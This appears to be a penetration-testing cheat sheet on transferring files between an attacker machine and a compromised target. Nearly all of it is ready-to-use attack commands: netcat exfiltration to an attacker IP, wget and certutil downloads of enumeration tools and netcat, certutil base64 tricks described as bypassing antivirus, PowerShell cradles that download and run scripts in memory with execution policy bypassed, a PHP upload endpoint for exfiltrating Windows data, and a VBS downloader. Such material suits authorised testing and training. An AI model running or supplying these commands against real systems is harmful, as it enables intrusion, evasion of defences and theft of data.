Transfering Files
Netcat File Transfer
Step 1
Create a file on the target box in the /tmp directory
touch file.txtSet up the listener and direct STDOUT into the new file
nc -nlvp 1234 > file.txt-Send the file
nc [target box ip] 1234 < file-to-be-transfered.txtMethod Two
On attacker run:
nc -lvp 443> transfer.txtOn target run:
cat transfer.txt | nc $attackerip 443NC Transfer with gzip data
//on target machine
nc -nvlp 10000 | gzip -d > .y
//local machine
cat ~/tools/static-binaries/socat/socat | gzip -c - | nc 127.0.0.1 10000
// check md5 hashes match on both systemsWeb Servers:
Python HTTP Server File Transfer
Start the Python Server in the directory where the file is located that you want to transfer
Use the ip address assigned to your box, if there is a vpn involved use the vpn address
python3 -m http.serverAbove is for python3
python -m SimpleHTTPServer 8000Above is for python
You can optionally specify a port that you want the server to run on (it defaults to 8000)
python3 -m http.server 80Wget the file from the target box
wget http://172.16.6.1:8000/linpeas.shChange permissions
chmod +x linpeas.shRun the transfered file
./linpeas.shPHP Web Server
php -S $ip:80Metasploit Web Server
use auxiliary/server/ftp
auxiliary/server/tftpSMB File Transfer
On kali box:
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .On Windows (update the IP address with your Kali IP):
copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe
#Reverse Copy FROM Windows
copy output.txt \\10.10.14.22\kali\output.txtSMB2 Support
If you recieve this error when attempting to transfer files:

Restart your smbserver.py with this option at the end:
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali . -smb2supportWget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh Download a file using WgetCurl
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh Download a file using cURLPHP Download
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);' Secure Copy Protocol
SCP a file from your attack box to a target box
scp /home/kali/Documents/linpeas.sh [email protected]:/tmpThis command copies the file linpeas.sh to user on the target box and places it in the /tmp directory.
SCP a file from your attack box while on the command line of a target box and place it in your present working directory.
scp [email protected]:/home/kali/Documents/linpeas.sh .SCP More Example Usage
Upload a file using SCP
scp C:\Temp\bloodhound.zip [email protected]:/tmp/bloodhound.zip Download a file using SCP
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe Windows Specific Downloads
CertUtil.exe
Windows has a built-in command line program called CertUtil.exe which is installed as part of Certificate Services and can be used to manage certificates in Windows.
CertUtil is also known as living off land LOL binary which is a trusted preinstalled system tool.
It can even bypass security features by base64 encoding the malware.
certutil -urlcache -split -f [url] [filename.extension]
certutil -urlcache -f [url] [filename.extension] [filename.extension]-urlcacheDisplays or deletes URL cache entries-fForces fetching a specific URL and updating the cache-splitSplit embedded ASN.1 elements, and saves files on diskUsing the encoding may help bypass security controls in certutil.
Using the
-decodeoption we can download a Base-64 encoded malicious executable such as a text file and decode the executable to disk.This can bypass antivirus, edge devices and filtering.
First we need to base64 encode the netcat executable.
certutil.exe -encode [inputfilename] [encoded output filename]To verify that the nc.txt file contains text, we can run the following command to print the first 10 lines to the terminal:
powershell -command "Get-Content nc.txt -Head 10"Now we have to transfer the text file to the target and decode it back to an executable.
certutil.exe -urlcache -split -f "http://[attack box ip]/nc.txt" nc.txtAnd the following command decodes the base64
certutil.exe -decode nc.txt nc.exePowershell downloads:System.Net.WebClient
First example uses .NET class System.Net.WebClient.
The following commands create a Powershell script on the remote Windows machine that can be used to download the file from the attack box:
echo $webclient = New-Object System.Net.WebClient > httpdownload.ps1
echo $webclient.DownloadFile("[Download URL]","[File Name]") >> httpdownload.ps1Note that you have to insert the download link and filename in the command on the last line and replace all the bold with the URL and the filename.
Once verified that the PS script is created we can execute with:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File httpdownload.ps1Alternatively we can also execute the command from a regular command line in Windows powershell to download files without creating a script
powershell -c "(new-object System.Net.WebClient).DownloadFile('[Download URL]','[File Name]')"The -c option executes the command provided within the double quotes with Powershell.
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://172.16.3.1/nc.exe','nc.exe')"The default execution policy is ‘Restricted’ which means the system will not run Powershell scripts.
With the following powershell command we can get the current execution policy:
Get-ExecutionPolicyWe can now set the policy to ‘Unrestricted’:
Set-ExecutionPolicy UnrestrictedLoading Script into Memory with powershell
The script can be loaded into memory with powershell
powershell.exe -nop -ep bypass (new-object system.net.webclient).downloadstring('http://10.10.15.49/PowerView.ps1') | IEX
#or
(new-object system.net.webclient).downloadstring('http://10.10.15.49/PowerView.ps1') | IEXPowershell Downloads: Start-BitsTransfer
Another way to download files with Powershell is by using the Background Intelligent Transfer Service (BITS).
The Start-BitsTransfer cmdlet creates a BITS transfer job to transfer one or more files between a client computer and a server.
BITS has to be enabled on the target machine in order for it to work.
The following command will download nc.exe from a remote web server to the C drive:
powershell Import-Module BitsTransfer;Start-BitsTransfer -Source http://[attack box ip]/nc.exe -Destination C:\Powershell Downloads: Invoke-WebRequest
The Invoke-WebRequest cmdlet is simple and easy to use and is available in Powershell version 3.0 and higher.
Downloading large files with this method may cause memory issues.
Recommended to use the System.Net.Web.Client method for transferring large files.
powershell Invoke-WebRequest -Uri http://[ip attack box]/nc.exe -OutFile C:\nc.exeFor this cmdlet to work the target host needs to have at least Powershell 3.0
You can check the version of Powershell by using the following command
powershell $PSVersionTable.PsVersionProxy Aware Powershell Downloader
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")Description: 'Most large orgs are using web proxies these days. The standard PowerShell download cradle is not proxy aware. Use this one.'
Upload Windows data through HTTP Post request
make /var/www/upload.php on kali
<?php
$uploaddir = '/var/www/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>Upload file in Windows client
powershell (New-Object System.Net.WebClient).UploadFile('http://<IP>/upload.php', '<FILE>')VBS download files for Windows XP
Create vbs script
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbsRun VBS script to download file
cscript wget.vbs http://<IP>/<FILE> <FILE>I am Stuck
If u ever happen to have a shell of a UNIX system, and cannot find a way to upload anything, this is a lifesaver trick you can try:
On local system:
cat filetoupload | base64 -w 0; echoDouble click on output to copy
On Target System:
echo <copiedContent> | base64 -d > filetouploadLast updated